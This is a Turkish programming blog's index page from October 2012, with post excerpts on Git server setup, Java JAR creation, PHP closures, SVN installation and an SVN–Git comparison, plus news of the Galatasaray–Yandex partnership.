dubluve.net logo İnternet aleminde sık sık boy gösteren dubluve grubu, yazılım ve internet birikimleirini 1 yıldır düzenli bir şekilde sizlere aktarıyor. Bu noktada herkesin katkısına ve emeğine sağlık demek istiyorum. Amacı türkçe kaynak konusuna elimizden geldiğince destek olmak olan dubluve.net 'in yazılarında bugüne kadar sizlerle
  • İleri seviye detay yazılar,
  • Giriş seviye yazılar,
  • Uygulama tanıtımları,
  • Web sitesi & hizmet tanıtımları,
  • "Nasıl yapılır?" (how-to) lar,
  • Tavsiyeler
paylaştık. Ayrıca, aramadan gelip, sayfamıza bir şekilde ulaşıp, istediğiniz sonucu bulamadığınız durumlar da tespit edilmeye çalışılıp, ilgili yazılar eklenmeye çalışılmıştır. Bundan sonra da vakit buldukça yine benzer içerikli yazılar yazmaya devam edeceğiz. Yazılarda genel olarak resim eksikliğimiz göze çarpıyor. Özeleştiri olarak da belirteyim, bu da sitemizin genel okunabilirliğini azaltabiliyor. Bunun farkındayız. Ancak elimizdeki kısıtlı süre içerisinde bu sene kadarını yapabildik. Önümüzdeki sene içerisinde daha fazla özenmeye çalışacağız. Ayrıca, yazmamızı istediğiniz konular veya belirtmek istediğiniz görüşleriniz varsa, Bize Yazın kısmını kullanmaktan çekinmeyin. Türkiyeye ve sektöre katkıda bulunduğumuzu görmekten gurur duyuyor, daha iyisini yapabileceğimizi bilerek yazıyı daha fazla uzatmıyorum. İyi ki doğduk! Devamı için : Dubluve.net 1 yasinda

9 Ekim 2012 Salı

Git sunucusu nasil kurulur?

Aslında Git sunucusu diye özel bir şey yoktur. Bilgisayarda Ssh protokolü varsa, zaten o bir git sunucusu oluverir. SVN kurmak kadar bir zorluğu da yok dolayısıyla. SSH ile erişilebilen bir sunucuda, herhangi bir kullanıcı veya sistem yöneticisi iseniz git deposunu saklaması için açıalcak hesapta, ssh ile uzaktan erişilmesi için gerekli düzenlemeleri yapalım.
adduser git # git deposu için yeni kullanıcı git oluşturduk.  # .ssh dizini oluşturalım ve yetki verelim  /home/gitmkdir -f .ssh   chmod 700 .sshcd .sshtouch authorized_keys   # erişebilecek kişilerin public anahtarlarını ekleyeceğimiz dosyaya da yetki verelim.  chmod 600 authorized_keys  #Yeni bir depo kurmak için git kullanıcısı ile sisteme girdikten sonra aşağıdaki komutları kullanabilirsiniz.    mkdir ~/repo.git  cd ~/repo.git  git --bare init
Olay bu kadar basit aslında. Devamı için : Git sunucusu nasil kurulur?

GSYandex.com Acildi

Dün de bahsetmiştim bu konu hakkında. Bugün artık kullanıma da açılmış. Şuan için görebildiğim, galatasaray.org'dan haberler anasayfada yer alıyor. Bir de yapılan aramalar sonucu kulübe gelir sağlanacağından bahsedilmiş. Konu hakkında GSYandex sayfasında şu bilgi verilmiş;
Neden GSYandex? GSYandex Galatasaraylı! GSYandex, aradığınız web sayfalarını, haberleri, görselleri, videoları, ürünleri ve adresleri bulur. Bazı soruları sormanıza bile gerek kalmaz. Galatasaray'da olan biteni, Galatasaray Tarihi ve diğer güncel sorulara cevapları GSYandex.com ana sayfasında bulabilirsiniz. Neden GSYandex'i Anasayfam Olarak Ayarlamalıyım? Tarayıcınızın ana sayfası; internete girer girmez hemen açılan sitedir. Eğer ana sayfanızı GSYandex olarak ayarlarsanız; iş gününüz Galatasaray ile ilgili haberler, Galatasaray Tarihi ile ilgili bilgiler, kur bilgileri; her şeyden önemlisi arama yapabilme ve bu aramalar sayesinde kulübüne gelir sağlaman ile başlar.
Ayrıca galatasaray.org'da belirtilen habere göre, Yandex altyapısına sahip galatasaray.net uzantılı email hizmeti de yakında hizmete girecekmiş. Detaylı açıklamalar şurada. Bence gayet güzel bir hamle. Bu anlamda markalaşmak da önemli. Devamı için : GSYandex.com Acildi

8 Ekim 2012 Pazartesi

Galatasaray ve Yandex İsbirligi

Bugün Galatasaray Spor Kulubü resmi sitesinde karşılaştığım bir habere göre, GS ve Yandex'in anlaşması sonucu GSYandex adı altında (büyük ihtimalle arama motoru olarak) hizmet verilecekmiş. Şuan için aklıma gelen getirisi, GS için çok önemli bir reklam anlaşması olacağı. İlerleyen günlerde (özellikle 9 Ekim 2012'de yapılacak basın toplantısında) diğer getirileri de ortaya çıkar. Yazının tam metni şöyle;
Galatasaray Spor Kulübü, dünyanın önde gelen arama motorları arasında yer alan Yandex ile yapacağı işbirliği sayesinde bir ilke imza atarak arama motoru ve internet servis hizmetlerini  "GSYandex" markası ile taraftarımızın hizmetine sunuyor. Galatasaray Spor Kulübü, Yandex ile yapacağı 'Resmi Arama Motoru' anlaşmasının imza töreni, 9 Ekim Salı günü saat 11:00'de Ali Sami Yen Spor Kompleksi Türk Telekom Arena  basın toplantı odasında gerçekleştirilecektir. GSYandex  imza törenine; Galatasaray Spor Kulübü Başkanı Ünal Aysal, Yandex-Türkiye Yönetim Kurulu Başkanı Sayın Mehmet Ali Yalçındağ, Galatasaray Spor Kulübü 2. Başkanı Ali Dürüst ve Galatasaray Spor Kulübü İcra Kurulu Başkanı Lutfi Arıboğan katılacaklardır. İmza törenini takip etmek isteyen medya mensupları akreditasyon için bugün en geç saat 18:00'e kadar basinoperasyon@galatasaray.org e-posta adresine başvuruda bulunmalıdır. Medya mensuplarının bilgisine sunulur. Galatasaray Spor Kulübü
Haberin linki ise; Galatasaray, Yandex İşbirliği ile Dünyada Bir İlke Daha İmza Atıyor Devamı için : Galatasaray ve Yandex İsbirligi

adam akilli kisiler #3 - James Gosling

James Gosling 1955 yılında doğdu. 1977 yılında üniversiteyi bitirdi. 1983 yılında doktorasını aldı. Sum Microsystem'deki görevine başlamadan önce Unix'in multiprocessor versiyonunu üretti. Sun microsystem'de Java dilini ve dolayısıyla da virtual machine (sanal makine) yi icad etti. Her zaman benzer bir felsefe ile çalışırdı, Geliştirdiği şeyler her zaman virtual machine üzerinde idi. Sun Microsystems'in 2010 da Oracle tarafından alınmasından sonra, Oracle  ile patent mevzuları vb sebeplerden ayrı düştüler. Bİr süre Google için çalıştı. Şimdilerde de Scala adlı bir firma için danışman olarak görev alıyor. Yazmış olduğu dil Java ile, dünyada "bir kere yaz, her yerde kullan" devri başladı. Java'nın bu özelliği onu çok fazla tercih edilebilir kılacaktı. Ayrıca günümüzdeki IDE'lerin (IDE : Integrated Developement Engine, Entegre Yazılım Geliştirme Uygulaması) de atası olacaktı. Günümüzde İyi bir yazılımcı istiyorsak, Java bilen bir kişiyi, herhangi bir konuda eğitmek için tercih edebiliyoruz. Hem yazılım düzeni, hem de OOP konusunda gerçekten mecburen düzgün geliştirilen bir dilden bahsediyorum.. Burada Java ve Gosling hakkında bir slideshow bulabilirsiniz. Devamı için : adam akilli kisiler #3 - James Gosling

7 Ekim 2012 Pazar

Java JAR Dosyası Yaratma

Daha önceki yazımda, JAR dosyası hakkında kısaca bilgi vermeye çalışmıştım. Bu yazıda, komut satırından, java uygulaması için nasıl jar dosyası yaratılacağını anlatmaya çalışacağım.İlerleyen yazılarda da jar dosyası ile ilgili gelişmiş özelliklerden bahsetmeyi düşünüyorum. Öncelikle jar olarak oluşturacağımız sınıfı tanımlayalım:
  // JARClass.java  public class JARClass {      public static void main(String [ ] args) {          System.out.println("Java JAR Dosyası Yaratma");      }  }
Ve tabii ki derleme komutu:
javac JARClass.java

JAR Dosyası Komutu ve Parametreleri

Şimdi basitçe, çok detaya girmeden, jar dosyası yaratmak için gerekli komutu görelim:
jar cf JARClass.jar *
Burada jar komutundan sonraki parametreler sırasıyla şu anlamlara geliyor:
  • c; jar dosyası yaratacağımızı belirtir ifade (create)
  • f; jar dosyasını bir dosyaya yaratacağımızı belirten ifade (f yazmayıp, dosya ismi belirtmez isek, konsola jar içeriğini basıyor).
  • JARClass.jar; yaratmak istediğimiz jar dosyasının adı
  • *; ifadesi şuan bulunduğumuz klasör ve tüm alt klasördeki dosya ve klasörleri jar dosyasına eklemeye yarıyor. Ve tabii ki bu parametre yerine dosya isimleri yazılarak, sadece istenilen dosyalar eklenebilir.
jar cf JARClass.jar JARClass.class JARClass.java

Diğer Parametreler

Kullanılabilecek belli başlı diğer parametrelerden de bahsetmeye çalışayım:
  • t; belirtilen jar dosyasının (f parametresi ile kullanıldığında) içerisinde bulunan dosyaları belirtir.
jar tf JARClass.jar
  • v; jar dosyası yaratılırken, konsola dosya içeriği ve sıkıştırılma oranları gibi bilgileri basar.
jar cfv JARClass.jar *
  • 0 (sıfır); jar dosyası yaratılırken, dosyaların sıkıştırılmamasını sağlar.
jar cf0 JARClass.jar *
  • M; manifest dosyasının yaratılmamasını sağlar (bu dosyadan birazdan kısaca bahsedeceğim).
jar cfM JARClass.jar *
  • m; harici olarak manifest dosyasının içeriğinin belirtilmesini sağlar (normalde otomatik olarak oluşuyor).
jar cfm manifest.mf JARClass.jar *
  • -C; istenilen klasöre gidilebilmesini sağlar. Örneğin, class dosyasının yanında audio diye klasör olduğunu ve onun içinde de main.wav dosyası bulunduğunu varsayalım. Bu komut sayesinde, main.wav dosyasını jar dosyasına audio klasörü içinde değil de, doğrudan ana dizine eklemesini sağlamış oluyoruz. Aşağıdaki örnekte, ana dizindeki JARClass.class dosyasını ve audio dizini içindeki tüm dosyaları (. ile sağlıyoruz) jar dosyasına eklemiş oluyoruz.
jar cf JARClass.jar JARClass.class -C audio .

JAR Dosyası Nasıl Çalıştırılır?

Şimdi JARClass uygulamamızı nasıl çalıştıracağımızı görelim.
java -jar JARClass.jar
Komutu çalıştırdığımızda bize ana sınıfın ne olduğunu bilmediğinden bahsedecek. Yani, uygulama hangi sınıfın main metodundan başlayacağını bilmiyor. Hemen basitçe bir manifest dosyası yaratıyoruz.
  // manifest.mf  Main-Class: JARClass
Dosya uzantısının bir önemi yok. Uzantısız da yaratabilirsiniz. Şimdi, jar dosyasını manifest dosyasıyla tekrar yaratalım.
jar cmf manifest.mf JARClass.jar JARClass.class
Bu komutta m parametresinin f parametresinden önce gelmesine dikkat edilmeli. Komut, sonraki parametreleri ona göre işliyor. Uygulamayı,
java -jar JARClass.jar
komutuyla tekrar çalıştırmak istediğimizde, artık düzgün bir şekilde çalışmış oluyor. Manifest dosyası ile ilgili detay bilgileri başka bir yazımda detaylı bir şekilde vermek istiyorum. Şimdilik konu burada kalsın. Herkese iyi çalışmalar. Devamı için : Java JAR Dosyası Yaratma

Java JAR Dosyası Yaratma

Daha önceki yazımda, JAR dosyası hakkında kısaca bilgi vermeye çalışmıştım. Bu yazıda, komut satırından, java uygulaması için nasıl jar dosyası yaratılacağını anlatmaya çalışacağım. Öncelikle jar olarak sıkıştıracağımız sınıfı tanımlayalım:
  // JARClass.java  public class JARClass {      public static void main(String [ ] args) {          System.out.println("Java JAR Dosyası Yaratma");      }  }
Ve tabii ki derleme komutu:
javac JARClass.java

JAR Dosyası Komutu ve Parametreleri

Şimdi basitçe, çok detaya girmeden, jar dosyası yaratmak için gerekli komutu görelim:
jar cf JARClass.jar *
Burada jar komutundan sonraki parametreler sırasıyla şu anlamlara geliyor:
  • c; jar dosyası yaratacağımızı belirtir ifade (create)
  • f; jar dosyasını bir dosyaya yaratacağımızı belirten ifade (f yazmayıp, dosya ismi belirtmez isek, konsola jar içeriğini basıyor).
  • JARClass.jar; yaratmak istediğimiz jar dosyasının adı
  • *; ifadesi şuan bulunduğumuz klasör ve tüm alt klasördeki dosya ve klasörleri jar dosyasına eklemeye yarıyor. Ve tabii ki bu parametre yerine dosya isimleri yazılarak, sadece istenilen dosyalar eklenebilir.
jar cf JARClass.jar JARClass.class JARClass.java

Diğer Parametreler

Kullanılabilecek belli başlı diğer parametrelerden de bahsetmeye çalışayım:
  • t; belirtilen jar dosyasının (f parametresi ile kullanıldığında) içerisinde bulunan dosyaları belirtir.
jar tf JARClass.jar
  • v; jar dosyası yaratılırken, konsola dosya içeriği ve sıkıştırılma oranları gibi bilgileri basar.
jar cfv JARClass.jar *
  • 0 (sıfır); jar dosyası yaratılırken, dosyaların sıkıştırılmamasını sağlar.
jar cf0 JARClass.jar *
  • M; manifest dosyasının yaratılmamasını sağlar (bu dosyadan birazdan kısaca bahsedeceğim).
jar cfM JARClass.jar *
  • m; harici olarak manifest dosyasının içeriğinin belirtilmesini sağlar (normalde otomatik olarak oluşuyor).
jar cfm manifest.mf JARClass.jar *
  • -C; istenilen klasöre gidilebilmesini sağlar. Örneğin, class dosyasının yanında audio diye klasör olduğunu ve onun içinde de main.wav dosyası bulunduğunu varsayalım. Bu komut sayesinde, main.wav dosyasını jar dosyasına audio klasörü içinde değil de, doğrudan ana dizine eklemesini sağlamış oluyoruz. Aşağıdaki örnekte, ana dizindeki JARClass.class dosyasını ve audio dizini içindeki tüm dosyaları (. ile sağlıyoruz) jar dosyasına eklemiş oluyoruz.
jar cf JARClass.jar JARClass.class -C audio .

JAR Dosyası Nasıl Çalıştırılır?

Şimdi JARClass uygulamamızı nasıl çalıştıracağımızı görelim.
java -jar JARClass.jar
Komutu çalıştırdığımızda bize ana sınıfın ne olduğunu bilmediğinden bahsedecek. Yani, uygulama hangi sınıfın main metodundan başlayacağını bilmiyor. Hemen basitçe bir manifest dosyası yaratıyoruz.
  // manifest.mf  Main-Class: JARClass
Dosya uzantısının bir önemi yok. Uzantısız da yaratabilirsiniz. Şimdi, jar dosyasını manifest dosyasıyla tekrar yaratalım.
jar cmf manifest.mf JARClass.jar JARClass.class
Bu komutta m parametresinin f parametresinden önce gelmesine dikkat edilmeli. Komut, sonraki parametreleri ona göre işliyor. Uygulamayı,
java -jar JARClass.jar
komutuyla tekrar çalıştırmak istediğimizde, artık düzgün bir şekilde çalışmış oluyor. Manifest dosyası ile ilgili detay bilgileri başka bir yazımda detaylı bir şekilde vermek istiyorum. Şimdilik konu burada kalsın. Herkese iyi çalışmalar. Devamı için : Java JAR Dosyası Yaratma

6 Ekim 2012 Cumartesi

Siasto - proje-gorev yonetimi sistemi

Daha önceden asana.com ile ilgili bu yazıyı paylaşmıştım. Şimdi de Tam bir benzerini buldum diyebilirim : Siasto! Nedir Siasto ? Siasto da şık tasarımıyla Asana gibi proje yönetim ve görev listesi ihtiyaçlarınızı gidermek için tasarlanmış bir proje yönetim aracı. https://www.siasto.com/ adresinden erişebileceğiniz bu sitenin hizmetleri hakkında detaylı bilgi almak için ise, bloglarını ziyaret edebilirsiniz. Bu iki sistemin de tek dezavantajı bir versiyon kontrol sistemine dahil olmaması. Ancak yine de kendini kullandırtıyorlar. Asana mı Siasto mu? Ben kendi ufak çaplı projelerim için asana.com'u tercih ediyorum ancak, bunun sebebi belki de siastoyu henüz yeni keşfettiğim için onu aktif kullanma fırsatı bulamamam olabilir. (deneme kullanıcısı ile bir kaç farkını tespit ettim tabi ..) Şu anki bilgi seviyem ile kararı 15 dakikalık inceleme tavsiyem ile sizlere bırakıyorum. Devamı için : Siasto - proje-gorev yonetimi sistemi

5 Ekim 2012 Cuma

isimsiz fonksiyonlar (anonymous functions - closures) (php 5.3 ve sonrasi)

İsimsiz fonksiyonlar php'nin 5.3 ve sonraki sürümlerinde yer alan güzel bir özelliktir. Nedir isimsiz fonksiyon?  Bir mantığa veya algoritmaya ihtiyacınız var ancak bunun dünyanızda o kadar da önemli bir yeri yok. Belki sadece kodunuzu düzgün yazmak istiyorsunuz, veya yapacağınız şeyi daha temiz yapmak istiyorsunuz. Bu noktada, isimsiz fonksiyonların kullanımı tercih edilebilir.  
$selam = function($isim){      printf("Merhaba %s\r\n", $isim);  };//şeklinde tanımlayıp
echo $selam('Emre');//şeklinde kullanabiliriz. Yani anlayacağımız şekilde söylersek, bir değişkene bir fonksiyon atamış gibi bir şey oluruz.
  
php 5.4 ten itibaren de bu isimsiz fonksiyonların içinde "$this" kelimesi de kullanılabiliyor oldu. Bir Class içerisindeki bir metodun içinde kullanıldığında, $this->fonksiyon_ismi() diyerek ilgili classtaki fonksiyonu da çalıştırabiliyor artık.
  
http://www.php.net/manual/en/functions.anonymous.php#106046 linkinde ise ilginç(güzel) bir kullanımı var. Bir göz atmanızı tavsiye ederim. (kullanmanızı tavsiye etmem ama :), php içinde html'e karşıyım. )
  
  
 Devamı için : isimsiz fonksiyonlar (anonymous functions - closures) (php 5.3 ve sonrasi)   

4 Ekim 2012 Perşembe

Subversion (SVN) Kurulumu ve Kullanımı

Merhaba, Yeni bir projeye başlarken, kod yazma aşamasına gelmeden önce projenin modellenmesi, veritabanı mimarisinin oluşturulması gibi öne çıkan konuların ele alındığını birçoğumuz biliyoruz. Ama yine bunlardan da önce çalışma ortamımızın hazırlanması gerekiyor. Profesyonel bir şekilde proje yönetebilmek ve süreçleri ilerletebilmek versiyon kontrol yapısının oluşturulması ölümcüldür. Nedir bu versiyon kontrol? Versiyon kontrol basitçe bir dosya veya dokümandaki değişiklikleri takip edebileceğimiz sistemlerdir. Bir projede birden fazla çalışan olabilir ve kimin ne zaman hangi değişikliği yaptığı bilgisine erişmeye ihtiyaç duyabiliriz. Yeni geliştirmeler ile karşılaştığımız çeşitli problemlerde geçmişe dönebilir ve projenin o zamanki halini inceleyebiliriz. Versiyon kontrol sistemini basitçe açıklamaya çalıştım. Tanımlar çoğaltılabilir. Şimdi Linux üzerinde SVN kurulumunu ve kullanımını anlatmaya çalışacağım (İşletim sisteminizede Apache kurulu olduğu varsayılmıştır). sudo apt-get install subversion libapache2-svn Yukarıdaki komutu çalıştırarak SVN kurulumunu başlatıyoruz ve kolayca tamamlanıyor. An itibari ile artık SVN kurulumu tamamlandı. Her proje için ayrı bir repository oluşturmak en mantıklısıdır. Bu bağlamda tüm repository projelerini tutacağımız bir dizin belirlememiz gerekiyor. Ben /var/svn dizinini kullanmaya karar verdim.
cd /var
mkdir svn
Yukarıdaki komutları çalıştırarak /var dizini altına "svn" isimli bir klasör oluşturmuş olduk. Şimdi projemiz için bir repository oluşturalım.
svnadmin create /var/svn/project
Yukarıdaki komutu çalıştırdıktan sonra "project" isimli yeni bir repository oluşturmuş oluyoruz. Şimdi boş projemizi checkout ederek çalışma ortamımızı yaratmak adına son adımımızı atıyoruz. Benim işletim sistemimde projelerimi barındırdığım dizin
/var/www/sites
cd /var/www/sites
svn co file:///var/svn/project
Yukarıdaki komutları çalıştırdığınızda /var/www/sites dizini altına "project" isimli bir klasörün oluştuğunu göreceksiniz. Yine bu klasörün içine girip bakacak olursanız "svn" isimli gizli bir klasör oluştuğunu göreceksiniz. Standar "hello word" mesajımızı vermek üzere index.php mizi oluşturacağız :D
cd /var/www/sites
touch index.php
nano index.php
(Ben nano editor kullanıyorum. Siz ister konsol editorlarinden isterseniz Zend Studio,NetBeans gibi editorlerle index.php oluşturabilir ve düzenleyebilirsiniz) "Hello word" yazıp kaydediyoruz ve çıkıyoruz. An itibari ile ekrana "Hello Word" yazdıran bir php dosyamız oldu. Yeni eklediğimiz dosyanın SVN'ye eklenmesi
svn add index.php
svn commit -m 'index.php eklendi'
Yukarıda index.php yi eklemek üzere SVN'yi uyardık ve commit ettik. İlk commitimizi yapmış olduk. Dosyanızda yeni bir değişiklik yaparsanız bunu görmek için aşağıdaki yönergeyi izleyelim.
svn status
Değişiklik bulunan tüm dosyalar gelecek. Değişiklik yaptıysanız dosyanın başına "M" harfi gelmiş olacak. Bu dosyanın modified edildiğini belirdir. Bir dosyanın silinmesi
svn delete index.php
Projenin güncellenmesi
svn update
  SVN ile ilgili anlatılabilecek çok şey var :D Zamanla eklemeye çalışacağım. Selamlar.   Devamı için : Subversion (SVN) Kurulumu ve Kullanımı

3 Ekim 2012 Çarşamba

Subversion (SVN) vs Git

Bu konu sizin aslında, "hangi versiyon kontrol sistemini kullanmalıyım?" sorunuza da yanıt olabilecek bir niteliktedir.

Subversion (Svn) ve Git Versiyon Kontrol Sistemleri Karşılaştırması

Takımınız için en iyi yazılım deposunu (repository) seçerken, bir takım önemli faktörler vardır. SVN (Subversion) geçtiğimiz yıllarda üretimde fiili olarak bir standart haline geldi ve kullanıldı. Ancak, daha sonradan hayatımıza Git diye bir şey girdi. Git, Linus Torvalds tarafından Linux çekirdek geliştirilmesi amacıyla geliştirilmiş versiyon kontrol sisteminin dağıtılmış versiyonudur. Yıllar içerisinde, yazılım geliştirme amacıyla kullanılmış ve özellikle Open Source projelerin oluşturulmasında rol alarak da çok büyümüştür. Git, çoğu takım için daha iyi bir çözüm olmasına rağmen, SVN ile kıyaslandığında azıcık daha öğrenmesi zor olarak nitelendirilebilir.

Svn & Git farklarının objektif olarak özeti

  • Git Svn den epeyce hızlıdır.
  • SVN ile bir alt ağacı(subtree) indirip çalışabilirsiniz, ancak Git'te tüm projeyi klonlamanız gerekir. Bu klonlama ile kendinize geçmişi dahil bir kopya üretmiş olursunuz.
  • Git depoları, SVN ye kıyasla epeyce daha küçüktür. Örneğin Mozilla projesi için 30 kat daha küçüktür)
  • Git, baştan itibaren dağıtma amaçlı tasarlandığından, her geliştiriceye olabildiğince yerel kontrol imkanı sağlar. (örneğin bir şeyi yapıp kendinize commit edebilirsiniz. )
  • Git branch'ları (yan dalları) , SVN'e göre basit ve daha az kaynak harcarlar.
  • Git branch'lar kendi geçmişini tutarlar.
  • Git branchlar üzerinde daha çok denetim ve karıştırma (merge) imkanı sağlar.
  • Git depo dosyaları basittir. Tamir etme vb işlemlerinde ihtimaliz daha yüksektir.
  • SVN depolarını merkezi olarak yedeklemek daha basittir.
  • Git depo klonları, full bir klondur. Yani onun üzerinden yeni bir repo yapabilirsiniz.
  • SVN nin kullanıcı arayüzü, Git'inkinden daha gelişmiştir.
  • SVN nin versiyonlarında (revisions) dolaşmak 1,2,3,... şeklinde isim verdiğinden çok daha basittir. Git, ne idüğü belirsiz SHA-1 hash'ler kullanıyor.
Kaynaklar : GitSvnComparison, subversion_git_comparison   Devamı için : Subversion (SVN) vs Git